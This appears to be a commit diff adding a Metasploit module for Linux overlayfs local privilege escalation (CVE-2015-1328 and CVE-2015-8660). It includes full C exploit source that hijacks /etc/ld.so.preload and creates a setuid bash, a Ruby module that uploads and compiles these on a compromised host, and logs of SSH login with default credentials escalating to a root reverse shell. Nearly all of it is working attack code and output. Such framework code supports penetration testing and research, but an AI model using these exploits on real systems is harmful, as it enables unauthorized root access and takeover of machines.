Land #7402, Add Linux local privilege escalation via overlayfs
commit
31b593ac67
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,181 @@
|
|||
## Creating A Testing Environment
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. CVE-2015-1328
|
||||
1. Ubuntu 14.04
|
||||
1. 3.13.0-24 (binary version of exploit compiled on)
|
||||
2. 3.19.0-20
|
||||
3. 3.19.0-21 (not vuln, exploit failed)
|
||||
4. 3.13.0-55 (not vuln, exploit failed)
|
||||
2. CVE-2015-8660
|
||||
1. Ubuntu 14.04
|
||||
1. 3.19.0-41 (binary version of exploit compiled on)
|
||||
|
||||
Untested against
|
||||
|
||||
1. Fedora (code included to identify vuln versions)
|
||||
2. Redhat (description includes vuln kernel versions)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/overlayfs_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set verbose true`
|
||||
7. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to /tmp
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41
|
||||
|
||||
#### Initial Access
|
||||
|
||||
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
|
||||
rhosts => 192.168.2.156
|
||||
resource (/root/Text-1.txt)> set username ubuntu
|
||||
username => ubuntu
|
||||
resource (/root/Text-1.txt)> set password ubuntu
|
||||
password => ubuntu
|
||||
resource (/root/Text-1.txt)> exploit
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
#### Escalate
|
||||
|
||||
resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
|
||||
resource (/root/Text-1.txt)> set verbose true
|
||||
verbose => true
|
||||
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
resource (/root/Text-1.txt)> set session 1
|
||||
session => 1
|
||||
resource (/root/Text-1.txt)> set target 1
|
||||
target => 1
|
||||
resource (/root/Text-1.txt)> set lhost 192.168.2.117
|
||||
lhost => 192.168.2.117
|
||||
resource (/root/Text-1.txt)> exploit
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Checking if mount points exist
|
||||
[+] /tmp/haxhax not created
|
||||
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Checking if mount points exist
|
||||
[+] /tmp/haxhax not created
|
||||
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
|
||||
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
|
||||
[*] Compiling /tmp/svF1U2Ya.c
|
||||
[*] Writing to /tmp/fHCJO1ex (155 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
|
||||
[*] Exploiting...
|
||||
[*] Sending stage (36 bytes) to 192.168.2.156
|
||||
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
|
||||
[+] Deleted /tmp/svF1U2Ya.c
|
||||
[+] Deleted /tmp/fHCJO1ex
|
||||
|
||||
3986817421
|
||||
viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
|
||||
true
|
||||
zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
|
||||
cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
|
||||
EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
|
||||
true
|
||||
FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
|
||||
omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
|
||||
VPsVgFTxVwskShumsJkambKWMQhifDJi
|
||||
whoami
|
||||
root
|
||||
uname -a
|
||||
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
|
||||
|
||||
### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24
|
||||
|
||||
#### Initial Access
|
||||
|
||||
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
|
||||
rhosts => 192.168.2.156
|
||||
resource (/root/Text-1.txt)> set username ubuntu
|
||||
username => ubuntu
|
||||
resource (/root/Text-1.txt)> set password ubuntu
|
||||
password => ubuntu
|
||||
resource (/root/Text-1.txt)> exploit
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
#### Escalate
|
||||
|
||||
resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
|
||||
resource (overlay.rc)> set verbose true
|
||||
verbose => true
|
||||
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
resource (overlay.rc)> set target 0
|
||||
target => 0
|
||||
resource (overlay.rc)> set session 1
|
||||
session => 1
|
||||
resource (overlay.rc)> set lhost 192.168.2.117
|
||||
lhost => 192.168.2.117
|
||||
resource (overlay.rc)> exploit
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Checking if mount points exist
|
||||
[+] /tmp/ns_sploit not created
|
||||
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Checking if mount points exist
|
||||
[+] /tmp/ns_sploit not created
|
||||
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
|
||||
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
|
||||
[*] Writing to /tmp/ofs-lib.c (439 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
|
||||
[*] Compiling /tmp/JmK51Dpa.c
|
||||
[*] Writing to /tmp/R6TrMF7f (155 bytes)
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
|
||||
[*] Exploiting...
|
||||
[*] Sending stage (36 bytes) to 192.168.2.156
|
||||
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
|
||||
[!] Tried to delete /tmp/ofs-lib.c, unknown result
|
||||
[+] Deleted /tmp/JmK51Dpa
|
||||
|
||||
2356964145
|
||||
psMfOJcKGKnafhAvALIeSFNegauafmux
|
||||
RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
|
||||
KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
|
||||
true
|
||||
ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
|
||||
dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
|
||||
UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
|
||||
sh: 0: can't access tty; job control turned off
|
||||
# # # whoami
|
||||
root
|
||||
# uname -a
|
||||
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
|
|
@ -0,0 +1,113 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mount.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <linux/sched.h>
|
||||
|
||||
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
|
||||
|
||||
static char child_stack[1024*1024];
|
||||
|
||||
static int
|
||||
child_exec(void *stuff)
|
||||
{
|
||||
char *file;
|
||||
system("rm -rf /tmp/ns_sploit");
|
||||
mkdir("/tmp/ns_sploit", 0777);
|
||||
mkdir("/tmp/ns_sploit/work", 0777);
|
||||
mkdir("/tmp/ns_sploit/upper",0777);
|
||||
mkdir("/tmp/ns_sploit/o",0777);
|
||||
|
||||
fprintf(stderr,"mount #1\n");
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
|
||||
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
|
||||
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
|
||||
exit(-1);
|
||||
}
|
||||
file = ".access";
|
||||
chmod("/tmp/ns_sploit/work/work",0777);
|
||||
} else file = "ns_last_pid";
|
||||
|
||||
chdir("/tmp/ns_sploit/o");
|
||||
rename(file,"ld.so.preload");
|
||||
|
||||
chdir("/");
|
||||
umount("/tmp/ns_sploit/o");
|
||||
fprintf(stderr,"mount #2\n");
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
|
||||
exit(-1);
|
||||
}
|
||||
chmod("/tmp/ns_sploit/work/work",0777);
|
||||
}
|
||||
|
||||
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
|
||||
umount("/tmp/ns_sploit/o");
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int status, fd, lib;
|
||||
pid_t wrapper, init;
|
||||
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
||||
|
||||
fprintf(stderr,"spawning threads\n");
|
||||
|
||||
if((wrapper = fork()) == 0) {
|
||||
if(unshare(CLONE_NEWUSER) != 0)
|
||||
fprintf(stderr, "failed to create new user namespace\n");
|
||||
|
||||
if((init = fork()) == 0) {
|
||||
pid_t pid =
|
||||
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
||||
if(pid < 0) {
|
||||
fprintf(stderr, "failed to create new mount namespace\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
}
|
||||
|
||||
waitpid(init, &status, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
usleep(300000);
|
||||
|
||||
wait(NULL);
|
||||
|
||||
fprintf(stderr,"child threads done\n");
|
||||
|
||||
fd = open("/etc/ld.so.preload",O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
fprintf(stderr,"exploit failed\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"/etc/ld.so.preload created\n");
|
||||
/*
|
||||
fprintf(stderr,"creating shared library\n");
|
||||
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
|
||||
write(lib,LIB,strlen(LIB));
|
||||
close(lib);
|
||||
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
|
||||
if(lib != 0) {
|
||||
fprintf(stderr,"couldn't create dynamic library\n");
|
||||
exit(-1);
|
||||
}*/
|
||||
write(fd,"/tmp/ofs-lib.so\n",16);
|
||||
close(fd);
|
||||
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
|
||||
execl("/bin/su","su",NULL);
|
||||
}
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
#include <unistd.h>
|
||||
|
||||
uid_t(*_real_getuid) (void);
|
||||
char path[128];
|
||||
|
||||
uid_t getuid(void){
|
||||
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
|
||||
readlink("/proc/self/exe", (char *) &path, 128);
|
||||
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
|
||||
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execle("/bin/sh", "sh", "-i", NULL, NULL);
|
||||
}
|
||||
return _real_getuid();
|
||||
}
|
|
@ -0,0 +1,78 @@
|
|||
#include <stdio.h>
|
||||
#include <sched.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/types.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
static char child_stack[1024*1024];
|
||||
|
||||
static int
|
||||
child_exec(void *stuff)
|
||||
{
|
||||
system("rm -rf /tmp/haxhax");
|
||||
mkdir("/tmp/haxhax", 0777);
|
||||
mkdir("/tmp/haxhax/w", 0777);
|
||||
mkdir("/tmp/haxhax/u",0777);
|
||||
mkdir("/tmp/haxhax/o",0777);
|
||||
|
||||
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
|
||||
fprintf(stderr,"mount failed..\n");
|
||||
}
|
||||
|
||||
chmod("/tmp/haxhax/w/work",0777);
|
||||
chdir("/tmp/haxhax/o");
|
||||
chmod("bash",04755);
|
||||
chdir("/");
|
||||
umount("/tmp/haxhax/o");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int status;
|
||||
pid_t wrapper, init;
|
||||
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
||||
struct stat s;
|
||||
|
||||
if((wrapper = fork()) == 0) {
|
||||
if(unshare(CLONE_NEWUSER) != 0)
|
||||
fprintf(stderr, "failed to create new user namespace\n");
|
||||
|
||||
if((init = fork()) == 0) {
|
||||
pid_t pid =
|
||||
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
||||
if(pid < 0) {
|
||||
fprintf(stderr, "failed to create new mount namespace\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
}
|
||||
|
||||
waitpid(init, &status, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
usleep(300000);
|
||||
|
||||
wait(NULL);
|
||||
|
||||
stat("/tmp/haxhax/u/bash",&s);
|
||||
|
||||
if(s.st_mode == 0x89ed)
|
||||
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
|
||||
|
||||
fprintf(stderr,"couldn't create suid :(\n");
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,293 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Overlayfs Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit two different CVEs related to overlayfs.
|
||||
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
|
||||
3.16.0-25 (14.10 default) < 3.16.0-41
|
||||
3.19.0-18 (15.04 default) < 3.19.0-21
|
||||
CVE-2015-8660:
|
||||
Ubuntu:
|
||||
3.19.0-18 < 3.19.0-43
|
||||
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
|
||||
Fedora:
|
||||
< 4.2.8 (vulnerable, un-tested)
|
||||
Red Hat:
|
||||
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Module
|
||||
'rebel' # Discovery
|
||||
],
|
||||
'DisclosureDate' => 'Jun 16 2015',
|
||||
'Platform' => [ 'linux'],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'CVE-2015-1328', { } ],
|
||||
[ 'CVE-2015-8660', { } ]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39166'], # CVE-2015-8660
|
||||
[ 'EDB', '37292'], # CVE-2015-1328
|
||||
[ 'CVE', '2015-1328'],
|
||||
[ 'CVE', '2015-8660']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
def mounts_exist?()
|
||||
vprint_status('Checking if mount points exist')
|
||||
if target.name == 'CVE-2015-1328'
|
||||
if not directory?('/tmp/ns_sploit')
|
||||
vprint_good('/tmp/ns_sploit not created')
|
||||
return true
|
||||
else
|
||||
print_error('/tmp/ns_sploit directory exists. Please delete.')
|
||||
return false
|
||||
end
|
||||
elsif target.name == 'CVE-2015-8660'
|
||||
if not directory?('/tmp/haxhax')
|
||||
vprint_good('/tmp/haxhax not created')
|
||||
return true
|
||||
else
|
||||
print_error('/tmp/haxhax directory exists. Please delete.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def kernel_vuln?()
|
||||
os_id = cmd_exec('grep ^ID= /etc/os-release')
|
||||
case os_id
|
||||
when 'ID=ubuntu'
|
||||
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
|
||||
case kernel.release.to_s
|
||||
when '3.13.0'
|
||||
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
when '3.16.0'
|
||||
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
when '3.19.0'
|
||||
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||
return true
|
||||
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
when '4.2.0'
|
||||
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Non-vuln kernel #{kernel}")
|
||||
return false
|
||||
end
|
||||
when 'ID=fedora'
|
||||
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
|
||||
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
|
||||
# => "4.0.4-301"
|
||||
if kernel.release < Gem::Version.new('4.2.8')
|
||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
|
||||
return true
|
||||
else
|
||||
print_error("Non-vuln kernel #{kernel}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Unknown OS: #{os_id}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if mounts_exist?() && kernel_vuln?()
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
filename = rand_text_alphanumeric(8)
|
||||
executable_path = "#{datastore['WritableDir']}/#{filename}"
|
||||
payloadname = rand_text_alphanumeric(8)
|
||||
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
|
||||
|
||||
def has_prereqs?()
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
end
|
||||
return gcc.include?('gcc')
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if has_prereqs?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
def upload_and_chmod(fname, fcontent, cleanup=true)
|
||||
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
|
||||
rm_f fname
|
||||
write_file(fname, fcontent)
|
||||
cmd_exec("chmod +x #{fname}")
|
||||
if cleanup
|
||||
register_file_for_cleanup(fname)
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
super
|
||||
if target.name == 'CVE-2015-1328'
|
||||
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
|
||||
# we cleanup here instead of earlier since we needed the /bin/su in our new session
|
||||
session.shell_command('rm -f /etc/ld.so.preload')
|
||||
session.shell_command('rm -f /tmp/ofs-lib.so')
|
||||
end
|
||||
end
|
||||
|
||||
if compile
|
||||
begin
|
||||
if target.name == 'CVE-2015-1328'
|
||||
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
||||
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
|
||||
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_1328 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
# pulled out from 1328.c's LIB define
|
||||
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
|
||||
fd = ::File.open( path, "rb")
|
||||
ofs_lib = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
else
|
||||
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
||||
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_8660 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
end
|
||||
rescue
|
||||
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if compile
|
||||
if target.name == 'CVE-2015-1328'
|
||||
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
|
||||
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
|
||||
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
|
||||
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
|
||||
upload_and_chmod("#{ofs_path}.c", ofs_lib)
|
||||
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
|
||||
register_file_for_cleanup("#{ofs_path}.c")
|
||||
else
|
||||
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
|
||||
"os.execl('#{payload_path}','#{payloadname}')")
|
||||
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
|
||||
end
|
||||
vprint_status("Compiling #{executable_path}.c")
|
||||
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
|
||||
register_file_for_cleanup(executable_path)
|
||||
else
|
||||
if target.name == 'CVE-2015-1328'
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_1328 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
upload_and_chmod(executable_path, cve_2015_1328)
|
||||
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
|
||||
fd = ::File.open( path, "rb")
|
||||
ofs_lib = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
|
||||
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
|
||||
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
|
||||
|
||||
# overwrite with the hardcoded variable names in the compiled versions
|
||||
payload_filename = 'lXqzVpYN'
|
||||
payload_path = '/tmp/lXqzVpYN'
|
||||
else
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
|
||||
fd = ::File.open( path, "rb")
|
||||
cve_2015_8660 = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
upload_and_chmod(executable_path, cve_2015_8660)
|
||||
# overwrite with the hardcoded variable names in the compiled versions
|
||||
payload_filename = '1H0qLaq2'
|
||||
payload_path = '/tmp/1H0qLaq2'
|
||||
end
|
||||
end
|
||||
|
||||
upload_and_chmod(payload_path, generate_payload_exe)
|
||||
vprint_status('Exploiting...')
|
||||
output = cmd_exec(executable_path)
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue